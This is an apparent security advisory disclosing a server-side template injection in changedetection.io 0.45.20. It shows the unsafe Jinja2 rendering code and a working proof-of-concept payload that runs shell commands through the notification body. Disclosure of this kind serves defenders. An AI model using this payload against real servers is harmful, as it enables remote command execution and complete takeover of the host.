Summary

A Server Side Template Injection in changedetection.io caused by usage of unsafe functions of Jinja2 allows Remote Command Execution on the server host.

Details

changedetection.io version: 0.45.20

docker images
REPOSITORY                            TAG       IMAGE ID       CREATED        SIZE
dgtlmoon/changedetection.io           latest    53529c2e69f1   44 hours ago   423MB

The vulnerability is caused by the usage of vulnerable functions of Jinja2 template engine.

from jinja2 import Environment, BaseLoader
...
    # Get the notification body from datastore
    jinja2_env = Environment(loader=BaseLoader)
    n_body = jinja2_env.from_string(n_object.get('notification_body', '')).render(**notification_parameters)
    n_title = jinja2_env.from_string(n_object.get('notification_title', '')).render(**notification_parameters)

PoC

1. Create/Edit a URL watch item
2. Under Notifications tab insert this payload:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

3. See Telegram (or other supported messaging app) notification

Impact

In the PoC I've used id as payload and Telegram to read the result.
Attackers can run any system command without any restriction and they don't need to read the result in the notification app (e.g. they could use a reverse shell). The impact is critical as the attacker can completely takeover the server host. This can be reduced if changedetection access is protected by login page with a password, but this isn't required by the application (not by default and not enforced).

References

• https://blog.hacktivesecurity.com/index.php/2024/05/08/cve-2024-32651-server-side-template-injection-changedetection-io/
• https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti
• https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/
• https://docs.cobalt.io/bestpractices/prevent-ssti/

Credits

Edoardo Ottavianelli